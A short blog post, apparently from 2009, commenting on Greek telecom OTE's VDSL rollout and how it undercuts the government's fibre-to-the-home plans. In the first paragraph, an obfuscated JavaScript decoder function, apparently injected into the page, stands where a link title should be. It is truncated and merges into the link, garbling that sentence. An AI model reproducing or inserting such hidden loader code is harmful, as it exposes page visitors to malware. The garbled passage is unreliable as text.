OTE cuts the grass under the Greek Governmen’s feet

Gr_dp Kostas Troulos posted yesterday about OTE's announcement of a VDSL roll-out under the title function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandprime.com/2009/07/ote-announces-vdsl-rollout-and-upset-greeces-ftth-plans.html">OTE announces VDSL rollout and upsets Greece's FTTH Plans. I encourage you to read his account of OTE's announcement to roll-out VDSL. What I find interesting here is not just that the incumbent seems to be deliberately trying to put the government's FTTH deployment plans off-balance, but that Deutsche Telekom who is clearly itself struggling with it own strategic vision when it comes to FTTx has a direct stake.

Having said that, it's not all that surprising that more than a year after the original announcement and with no clear guidelines emerging the various stakeholders would start looking at alternatives. The Greek government has fallen into the classic trap of the administrative/political quagmire that's used as a justificationby the "private is always better" guys currently running the commission.

Let's hope that the whole plan doesn't fall off the wayside as a consequence of this.